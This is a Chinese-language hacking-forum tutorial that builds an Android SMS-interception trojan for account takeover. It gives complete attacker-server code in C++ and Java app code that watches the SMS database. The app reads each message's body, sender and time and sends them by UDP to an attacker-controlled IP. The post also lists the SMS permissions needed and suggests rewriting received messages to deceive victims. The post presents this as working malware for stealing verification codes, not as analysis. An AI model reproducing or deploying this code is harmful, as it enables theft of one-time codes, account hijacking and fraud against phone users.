拦截马的具体实现
2020-03-06 00:46:33 Author: forum.90sec.com(查看原文) 阅读量:380 收藏

项目写时间长了,出来散散心。

主要是用来拦截短信,主要是黑客用来实现所谓的盗号所设计的。
思路比较简单。

  1. 首先先给受害者发送可以劫持短信的APP木马
  2. 受害者打开木马APP
  3. 攻击者申请更换密码
  4. 收到短信,劫持到短信信息
  5. 可根据需要,攻击者更换原先短信的内容

思路比较简单,但是有两点是核心,一是如何劫持短信,劫持到短信攻击者如何进行获取。
先看下劫持的效果。
测试,所以我使用的是安卓模拟器:

  1. 一台服务器
  2. 安卓虚拟机
实现效果

就和动图中的一样,就是受害者打开手机存在木马的手机APP,当接受到或者发送短信的时候就会被我们拦截到。

劫持短信

这里我提供一个比较简单的方法,也是比较官方的一个方法,就是在安卓信息发送和接受的时候,短信APP会使用内容提供者给内容解析的APP一个消息,会让存在内容解析的APP响应ContentObserver子类对应的onChange方法。然后通过Socket发送给我们木马的接收服务器,就实现一次攻击。

服务端编写

这个一般是用来放在服务器上的,所以我就用C++来写了,界面很简单,就是基本的画一下,一个ListBox就可以了。
服务端的代码,基本没什么难度,就是一个简单的Socket程序,我这里用的是UDP,用TCP的话呢,对于这种程序,感觉会有点傻,基本的实现代码:

UINT MyThread(LPVOID lparm)
{
	ClanjiemaServiceDlg * dlg= (ClanjiemaServiceDlg *)lparm;

	WSAData wSd;           //初始化信息
	SOCKET soRecv;              //接收SOCKET
	char* pszRecv = NULL; //接收数据的数据缓冲区指针
	int nRet = 0;
	int dwSendSize = 0;
	SOCKADDR_IN siRemote,siLocal;//远程发送机地址和本机接收机地址

	if (WSAStartup(MAKEWORD(2,2),&wSd) != 0)
		return 0;

	soRecv = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
	if (soRecv == SOCKET_ERROR) {
		WSACleanup();
		return 0;
	}
	siLocal.sin_family = AF_INET;
	siLocal.sin_port = htons(6666);
	siLocal.sin_addr.s_addr = INADDR_ANY;
	if (bind(soRecv,(SOCKADDR*)&siLocal,sizeof(siLocal)) == SOCKET_ERROR) {
		WSACleanup();
		return 0;
	}
	
	try
	{
		pszRecv = new char[4096];
	}
	catch (CException* e)
	{
		AfxMessageBox("初始化内存失败!");
	}
	memset(pszRecv,0,4096);
	dwSendSize = sizeof(siRemote);
	while((nRet = recvfrom(soRecv,pszRecv,4096,0,(SOCKADDR*)&siRemote,&dwSendSize)) != SOCKET_ERROR)
	{
		pszRecv[nRet]='\0';
		CString s;
		s.Format("%s : %s",inet_ntoa(siRemote.sin_addr),pszRecv);
		dlg->m_ListBox.AddString(s);
	}
	closesocket(soRecv);
	delete[] pszRecv;
	WSACleanup();
	return 1;

}

BOOL ClanjiemaServiceDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
	//  执行此操作
	SetIcon(m_hIcon, TRUE);			// 设置大图标
	SetIcon(m_hIcon, FALSE);		// 设置小图标

	AfxBeginThread(MyThread,(LPVOID)this);

	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}

简单的说一下,在OnInitDialog中启动我们的Socket线程,用来接受我们的信息,Socket这块基本没什么变数,就是照葫芦画瓢,不愿意写的直接复制就好了。

木马编写

首先我们先要实现java层的实现UDP协议的发送,基本也就是照葫芦画瓢,首先我们写一个方法,用来将我们构造的String字符串发送给我们的服务端。

private void SendNetMessage(String str)
{
	sMessage = str;
	new Thread(){
		@Override
		public void run() 
		{
			Log.d("wker", sMessage);
			DatagramSocket socket = null;
			DatagramPacket packet = null;
			try {
				socket = new DatagramSocket();
				packet = new DatagramPacket(sMessage.getBytes("GBK"),sMessage.getBytes("GBK").length,InetAddress.getByName("XXX.XXX.XXX.XXX"),6666);
				socket.send(packet);
				socket.close();
			} catch (IOException e) {
			}
		};
	}.start();
}

我定义了一个静态字符串,用来转储字符串的,然后安卓高版本是不支持在主线程进行网络操作的,我们就写个新的线程,用来专门发送数据,这里需要注意的是,我们需要在AndroidManifest.xml中配置一个权限:

<uses-permission android:name="android.permission.INTERNET" />

这个权限就是操作网络用到的。
这里有一个坑,搞得当时我有点烦,就是java默认的是宽字节,但是Windows中的那个recvfrom第二个参数是char*就有点烦,测试的时候我发的时候总是会丢失一些字节,我一开始以为是C++写的时候有错误,一直在找,然后怎么也解决不了,我就浏览内存找,怎么也没找到bug,后来就调试了一下java,发现String.length()返回的是宽字节个数,但是我声明的时候明明传的给的"GBK"这个参数,我也没搞明白,然后我一开始想到的解决办法是,无非就是中文字符占两个有点难搞,我就用正则匹配得出中文个数,然后将length加上这个中文个数,确实是正常的,但是我总感觉怪怪的,后来我就改成了sMessage.getBytes("GBK").length,这个就没什么问题了。


写完了发送函数,就该写拦截短信的方法了,继承ContentObserver这个类,重写onChange方法。
onCreate方法中,我们先获取内容监听者的权限:

mco = new MyObserver(new Handler());
Uri uri = Uri.parse("content://sms");
getContentResolver().registerContentObserver(uri, true, mco);

mco是一个私有变量:

private MyObserver mco;
private static String sMessage;

MyObserver这个使我们重写的类,代码如下:

private class MyObserver extends ContentObserver
{
	public MyObserver(Handler handler) {
		super(handler);
	}
	@Override
	public void onChange(boolean selfChange, Uri uri) {
        super.onChange(selfChange);
        if(!selfChange)
        {
        	Cursor cursor = getContentResolver().query(uri, null, null, null, null);
            String body = null;
            String address=null;
            String date=null;
            while(cursor.moveToNext())
            {
            	body=cursor.getString(cursor.getColumnIndex("body"));
            	address = cursor.getString(cursor.getColumnIndex("address"));
            	date = cursor.getString(cursor.getColumnIndex("date"));
            }
            Date time = new Date(Long.parseLong(date));
            SendNetMessage("发件人手机号:"+address+"发送时间:"+time+"发送数据:"+body);
        }
        
	}
}

构造函数没什么,就传进来一个Handle对象,new一个给他就好了,在这里不重要。
onCreate方法中我们实例化一个这个对象,然后再new一个Uri对象,这个Uri对象是用来表示我们监听的对象,也就是sms这个短信,观察安卓源代码,他里面有这么一段:

ContentResolver resolver = getContext().getContentResolver();
resolver.notifyChange(uri, null);

类似于这样的一段代码,就是用来通知这个监听器的,之前我以为这个监听是类似于HOOK的一个东西,原来不是。
我们构造Uri对象之后,然后就需要把这个我们自己的ContentObserver注册上去,getContentResolver().registerContentObserver(uri, true, mco);,获取到这个单例对象之后使用注册的这个函数就可以了,第二个参数我们用true代表的是模糊匹配Uri。
在我们重写的onChange方法中,我们得到Uri对象之后,通过内容解析出这个Uri所对应的Cursor对象,以此来查询短信这个APP中的数据库,主要有这三个比较重要的字段:

字段 含义
body 短信的内容
address 短信的提供者
date 短信的格林尼治时间戳

其实还有个Type这个字段,我没写上去,这个的话呢代表是发送还是接受,我懒得写了就没增加判断。
然后遍历出来我们的数据之后,然后通过之前我们写好的那个函数就可以进行数据的收发了。
但是要注意的是,这个时候还是不可以的,我们需要给我们的APP增加几个权限:

<uses-permission android:name="android.permission.SEND_SMS"></uses-permission><!--添加权限-->
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> 
<uses-permission android:name="android.permission.READ_SMS"></uses-permission> 
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission> 

也就是SMS需要的权限,可以尝试一些是否可以进行劫持接受的短信,我们可以写这样的一段代码:

ContentResolver contentResolver = getContentResolver();
Uri uri = Uri.parse("content://sms");
ContentValues values = new ContentValues();
values.put("body", "Wker通知:高等数学不学好,考研就要买医保");
values.put("address", "10086");
values.put("type", "1");
values.put("date", System.currentTimeMillis());
contentResolver.insert(uri, values);

这个是模拟短信的接受,同样我们可以进行一个简单的测试:

接受测试

可以看到我们同样拦截到了。

程序的优化

  1. 在java层,如果我们真正的想要进行一个欺骗,我们可以选择先更改我们的接收到的短信的内容,其实这个也是可以做到的,而且不是很难。
  2. 增加对type类型的判断,判断是不是要进行接受和发送的判断

在这问一下,有没有老哥有离散数学的网盘资源,老师讲的听不太懂,需要自学,谢谢了!!! :drooling_face:


文章来源: https://forum.90sec.com/t/topic/843/3
如有侵权请联系:admin#unsafe.sh